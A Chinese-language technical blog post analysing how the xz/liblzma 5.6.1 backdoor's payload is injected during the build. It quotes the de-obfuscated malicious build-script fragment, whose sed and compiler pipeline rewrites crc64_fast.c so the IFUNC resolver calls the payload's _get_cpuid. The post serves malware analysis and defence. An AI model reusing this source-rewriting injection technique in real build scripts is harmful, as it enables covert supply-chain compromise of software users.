xz/liblzma 后门恶意代码注入方式分析

xz 后门爆出来之后,各路分析文章已经很多了,不过还是有些细节没有讲得很清楚,偶然看到四哥提到:

“作为围观群众,我在等待分析方展示一下,Hook 是怎么安装上去的,就是说 .so 被加载后,怎么就 call 到那个 .o 里去了,我问的是第一次。换句话说,是不是与 IFUNC 相关,究竟怎么完成第一步 Hook?”

liblzma后门疑似国家级APT - 青衣十三楼飞花堂

正好我跟四哥有同样的疑问,而且没有文章讲到这个问题,所以就来简单分析一下这个点,留作笔记。

样本获取

我是从 Fedora Builds 上获取的样本:
https://koji.fedoraproject.org/koji/buildinfo?buildID=2417414

文件对应关系:

1
2
xz-libs-5.6.1-1.fc41.x86_64.rpm: liblzma.so.5.6.1 二进制文件
xz-5.6.1-1.fc41.src.rpm: xz 5.6.1 源代码

rpm 文件提取方法:

1
rpm2cpio <path_to_rmp_file> | cpio -idmv

攻击入口

和后门直接相关的 commit 有三处:
2024.02.15: 为 m4/build-to-host.m4 添加了 gitignore 规则
https://git.tukaani.org/?p=xz.git;a=commit;h=4323bc3e0c1e1d2037d5e670a3bf6633e8a3031e

2024.02.23: 增加了一些测试文件
https://git.tukaani.org/?p=xz.git;a=commit;h=cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0

2024.03.09: 更新了两个测试文件:
https://git.tukaani.org/?p=xz.git;a=commit;h=6e636819e8f070330d835fce46289a3ff72a7b89

m4/build-to-host.m4 便是攻击入口,这个脚本从如下这两个测试文件中读取、解压、揭秘恶意代码:

1
2
tests/files/bad-3-corrupt_lzma2.xz
tests/files/good-large_compressed.lzma

关于恶意代码提取的部分,Gynvael Coldwind 已经给出了漂亮的分析,不再赘述:
xz/liblzma: Bash-stage Obfuscation Explained - Gynvael Coldwind

Andres Freund 的原始报告中也直接给出了还原后的 shell 脚本和攻击 payload .o 文件:
backdoor in upstream xz/liblzma leading to ssh server compromise - Andres Freund

After de-obfuscation this leads to the attached injected.txt.

Florian Weimer first extracted the injected code in isolation, also attached, liblzma_la-crc64-fast.o, I had only looked at the whole binary.

恶意代码注入方式

现在我们有了 payload liblzma_la-crc64-fast.o 文件,但 .o 文件里的 payload 是如何注入到目标程序中的呢?

我们仔细看一下还原后的 shell 脚本在生成了 liblzma_la-crc64-fast.o 之后的内容,对应原报告附件 injected.txt line 178 之后的内容。

我们看关键的几行:

1
2
3
4
5
6
7
V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported'
eval $yosA
if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | \
sed "/include \"crc_x86_clmul.h\"/a \\$V" | \
sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null | \
$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c - $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then
cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true

sed 是 stream editor,用来修改文件流的,我们只需要简单知道一些 sed 的基础操作命令含义即可,比如:a(append), c(replace), d(delete), i(insert).

这段脚本的关键作用就是在 crc_x86_clmul.h 头文件中添加变量 V 中的代码,把 crc64_fast.c 中的

1
return is_arch_extension_supported()

改成:

1
return _is_arch_extension_supported()

is_arch_extension_supported() 函数被 crc64_resolve() 函数调用。原始 crc64_resolve() 函数如下:

1
2
3
4
5
6
7
lzma_resolver_attributes
static crc64_func_type
crc64_resolve(void)
{
return is_arch_extension_supported()
? &crc64_arch_optimized : &crc64_generic;
}

即修改了 crc64_resolve() 函数的内容。

把变量 V 中的代码整理一下:

1
2
3
4
5
6
7
8
9
10
11
12
#endif
#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))
extern int _get_cpuid(int, void*, void*, void*, void*, void*);
static inline bool _is_arch_extension_supported(void) {
int success = 1;
uint32_t r[4];
success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16);
const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19);
return success && (r[2] & ecx_mask) == ecx_mask;
}
#else
#define _is_arch_extension_supported is_arch_extension_supported

这样应该就好理解了:先用 #endif 闭合原有的 #if,然后增加了一个 _is_arch_extension_supported() 函数,其中子函数 _get_cpuid() 是 extern 函数,也就是从 payload liblzma_la-crc64-fast.o 导入。简单说就是用 payload 中的 _is_arch_extension_supported() 函数替换了原来的 is_arch_extension_supported() 函数。

$CC 一行就是调用 gcc 将 payload liblzma_la-crc64-fast.o 编译成一个可重定位目标文件,并将其保存为 .libs 目录下 的 liblzma_la-crc64_fast.o 文件中。后面有针对 crc32_fast 类似的操作,不再赘述。

再通过 link 命令将 .o 链接成 .so 文件:

1
2
if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then
if test ! -f .libs/liblzma.so; then

再后面就是一些清理工作,不再赘述。

总结

回到最开始四哥的问题:

“作为围观群众,我在等待分析方展示一下,Hook 是怎么安装上去的,就是说 .so 被加载后,怎么就 call 到那个 .o 里去了,我问的是第一次。换句话说,是不是与 IFUNC 相关,究竟怎么完成第一步 Hook?”

从我自己的分析来看,可以得出如下结论:

  1. .o 文件中的 payload 调用不是动态加载的,而是通过修改源代码和编译过程直接编译进目标 .so 文件中的;
  2. 第一步恶意代码的注入和 IFUNC 机制没有关系,只是攻击者选择了 IFUNC Resolver 函数作为代码注入的目标而已。

我们再来看 Andres Freund 的原报告中是怎么说的:

The backdoor initially intercepts execution by replacing the ifunc resolvers crc32_resolve(), crc64_resolve() with different code, which calls _get_cpuid(), injected into the code (which previously would just be static inline functions).

嗯,说得很正确,就是 replacing,replacing 的对象是 IFUNC Resolvers. 很多文章中对这个点要么语焉不详,要么以讹传讹、不求甚解,这样不好。